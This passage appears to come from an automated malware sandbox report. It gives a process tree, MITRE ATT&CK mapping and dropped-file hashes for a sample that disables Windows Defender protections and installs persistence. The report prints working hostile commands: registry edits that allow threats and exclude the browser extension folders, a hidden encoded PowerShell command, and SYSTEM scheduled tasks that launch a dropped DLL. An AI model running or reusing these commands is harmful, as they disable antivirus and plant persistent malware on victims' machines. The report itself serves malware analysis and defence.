    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3248
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1292
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2120
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1848
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4792
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1536
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1728
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2952
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3936
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JwPHlFeupXAU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JwPHlFeupXAU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NoHJXwHWqoyIEvJkrtR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NoHJXwHWqoyIEvJkrtR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jTViJokpjbUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jTViJokpjbUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nvzrazLpiDxpC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nvzrazLpiDxpC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vglSHQcWU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vglSHQcWU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\vdncenNfbJadXrVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\vdncenNfbJadXrVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PhZXrQiSDJCqmVOml\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PhZXrQiSDJCqmVOml\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IfrsGUiYuPvOlakJ\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IfrsGUiYuPvOlakJ\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3516
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JwPHlFeupXAU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2632
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JwPHlFeupXAU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      System Location Discovery: System Language Discovery
      PID:4436
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JwPHlFeupXAU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:760
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NoHJXwHWqoyIEvJkrtR" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4392
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NoHJXwHWqoyIEvJkrtR" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jTViJokpjbUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2728
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jTViJokpjbUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4936
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nvzrazLpiDxpC" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nvzrazLpiDxpC" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vglSHQcWU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2332
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vglSHQcWU" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2292
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\vdncenNfbJadXrVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\vdncenNfbJadXrVB /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1572
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4640
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2648
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3736
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PhZXrQiSDJCqmVOml /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1636
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PhZXrQiSDJCqmVOml /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4984
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IfrsGUiYuPvOlakJ /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:636
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IfrsGUiYuPvOlakJ /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4264
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gekUuUqSK" /SC once /ST 04:19:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4568
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gekUuUqSK"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3856
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gekUuUqSK"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4052
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "kZWdFBrQzUlatvjWL"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2680
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "kZWdFBrQzUlatvjWL"
  2⤵
  PID:4940
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "kZWdFBrQzUlatvjWL2"
  2⤵
  PID:1396
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "kZWdFBrQzUlatvjWL2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:548
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "jXgMGRJZBQnXVtyTA"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2308
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "jXgMGRJZBQnXVtyTA"
  2⤵
  PID:3572
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "jXgMGRJZBQnXVtyTA2"
  2⤵
  PID:2832
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "jXgMGRJZBQnXVtyTA2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5016
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "OqMjqgfNoEiJoCjblbJ"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2172
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "OqMjqgfNoEiJoCjblbJ"
  2⤵
  PID:4728
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "OqMjqgfNoEiJoCjblbJ2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4196
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "OqMjqgfNoEiJoCjblbJ2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2088
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "KmlJNKHenTOEXvyaHcS"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4140
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "KmlJNKHenTOEXvyaHcS"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1064
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "KmlJNKHenTOEXvyaHcS2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1796
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "KmlJNKHenTOEXvyaHcS2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:408
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\vglSHQcWU\BOtXAG.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "loSIAiLAHvgLehk" /V1 /F
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2012
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "tJIANbMFayGYFBH"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4544
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "tJIANbMFayGYFBH"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2948
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "tJIANbMFayGYFBH2"
  2⤵
  PID:3344
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "tJIANbMFayGYFBH2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2232
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "VOguGVDmRYtZSs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2504
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "VOguGVDmRYtZSs"
  2⤵
  PID:2868
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "UhKXnnBdcxVTY"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3412
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "UhKXnnBdcxVTY"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2632
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "UhKXnnBdcxVTY2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3612
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "UhKXnnBdcxVTY2"
  2⤵
  PID:872
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "loSIAiLAHvgLehk2" /F /xml "C:\Program Files (x86)\vglSHQcWU\kkPoeBO.xml" /RU "SYSTEM"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:1872
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "loSIAiLAHvgLehk"
  2⤵
  PID:1536
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "loSIAiLAHvgLehk"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5052
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "UMfRXcYtxdZJRf" /F /xml "C:\Program Files (x86)\JwPHlFeupXAU2\GoYFxyZ.xml" /RU "SYSTEM"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:5096
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "OtpHAQVnCaFig2" /F /xml "C:\ProgramData\vdncenNfbJadXrVB\syvlceW.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1248
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "jXgMGRJZBQnXVtyTA2" /F /xml "C:\Program Files (x86)\NoHJXwHWqoyIEvJkrtR\kQjLUJp.xml" /RU "SYSTEM"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:4592
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "KmlJNKHenTOEXvyaHcS2" /F /xml "C:\Program Files (x86)\nvzrazLpiDxpC\uktgugT.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4112
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2244 -s 2300
  2⤵
  - Program crash
  PID:3420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2416
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:116

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2244 -ip 2244
1⤵
PID:4148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GoYFxyZ.xml

Path C:\Program Files (x86)\JwPHlFeupXAU2\GoYFxyZ.xml
Size 2KB
SHA256 ab18525bab5c2e4f695dfda94df9009732551e5495a9f841d9a7e2e8a6b16029
MD5 11b9c62a60a2c83d311a6abd28e20055
SHA1 d00e8ec594f2d4fc4a7a618cb2d26ea4def97043
SHA512 27973043857a0884992160bfc6f8080a63cd9baeb063d5b42df4292a526beea4adb7a70ce2a7063598efbcf8ec203bd4e0d7f1ba8183041d34384cc1591ffa07
MD5 SHA1 SHA512

Submit Download

kQjLUJp.xml

Path C:\Program Files (x86)\NoHJXwHWqoyIEvJkrtR\kQjLUJp.xml
Size 2KB
SHA256 b2a87d5087231691a120b6432da7631fea110144421e45afe49a8e987eacff54
MD5 4f7fc84a2502b2f4b033eb62110cb93c
SHA1 b0eb332357fadb24940351539326d8dd3f9b1605
SHA512 c18f7607940ec643a3d897cd301b9296aab5971b179c7ddaba833a12a592ab0d009a57baf6a9250cafe2668a8fd0fe8d272446a2f7c529a090e49aafe5a7af55
MD5 SHA1 SHA512

Submit Download

uktgugT.xml

Path C:\Program Files (x86)\nvzrazLpiDxpC\uktgugT.xml
Size 2KB
SHA256 a5942d4900df451f5cca3f8bcbf7fb8091c0d3c19d18dcbca67eb32ee9e77e10
MD5 19d2ec1ec564b97a4b5a0b2eb3903f62
SHA1 b95a286eb82b41ff34697688a81f6e948e48fa74
SHA512 12a9791530347706d9a54b705ae11bc32256a20d973a9fa208298e3b41b92fe826697fc49a1d01fb5caf08ea611f4e0ce08bc297e77ea13b23795afccaf0d9d0
MD5 SHA1 SHA512

Submit Download

kkPoeBO.xml

Path C:\Program Files (x86)\vglSHQcWU\kkPoeBO.xml
Size 2KB
SHA256 64d67869c27c23f5b1772289496ffdc5eddb53f5a12601ee04326777fdd84f51
MD5 d06796707fa5299a9793672f3857c5a0
SHA1 2a09bed812a4d855a62ffd89fd6cdae1607d8e53
SHA512 fb934c21af190b4a1cd2710d8c28f308d85cb39d844b07d95d8b21a033184751c8719895c06c1da107f8b63b28d00394dd7d41da68892bf80e998b87046ae0e6
MD5 SHA1 SHA512

Submit Download

{2977F6F9-D40C-4CCF-BA4C-7FFFC24B5013}.xpi

Path C:\Program Files\Mozilla Firefox\browser\features\{2977F6F9-D40C-4CCF-BA4C-7FFFC24B5013}.xpi
Size 2.6MB
SHA256 45dc930b41d7b0151d693d477af85d3fcef92b3e9351b7600984e34bafc169f4
MD5 4aac2db8b4be45b7cc9935fc7793e906
SHA1 590f9e29adf29ca2f6669dc829d8f2f05feb51c6
SHA512 f475e3809c7027ddf635b19dcd3b3d889e50d05f937cbd52d715cb101c4d60a049a0833c633af69a0c6132bea152f5dbb02f9d05c20cb1ac73b9a4c5c887238e
SSDEEP 6144:vZe1dIkekThaGj6CEpnM5wYz16h+fvfqjg15vbGspuM1M9miowx0OqgH7cXcZ+dE:v5jtfImNejDU
MD5 SHA1 SHA512 SSDEEP

Submit Download

syvlceW.xml

Path C:\ProgramData\vdncenNfbJadXrVB\syvlceW.xml
Size 2KB
SHA256 293186a4b06755fd8a6c30c4d4ea521e4dbb03da7f83b272bdabc27b3ff72728
MD5 3f16f8c1af01602480b07baf80cd6d50
SHA1 015c3f683f6022ef07c589dd5a306588814c5196
SHA512 0d3aa24c6a5fef3da3badc68ddb9ddef3fbe26cbf2a477b3b4806e68a29b683214a76a3a2df73de87ae3f0e2e400b611afac7ff1b67a0cf8b7a00450868d30ca
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\bicihfnmkdnfelbedknblndigjejbgcc\3.2_0\_locales\en_GB\messages.json
Size 187B
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\bicihfnmkdnfelbedknblndigjejbgcc\3.2_0\_locales\fa\messages.json
Size 136B
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\bicihfnmkdnfelbedknblndigjejbgcc\3.2_0\_locales\pt_BR\messages.json
Size 150B
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
MD5 33b19d75aa77114216dbc23f43b195e3
SHA1 36a6c3975e619e0c5232aa4f5b7dc1fec9525535
SHA512 676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\iiokjpfhkdjhcngmhkofiknbmkngboio\2.1.2_0\_locales\es\messages.json
Size 151B
SHA256 b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
MD5 bd6b60b18aee6aaeb83b35c68fb48d88
SHA1 9b977a5fbf606d1104894e025e51ac28b56137c3
SHA512 3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b
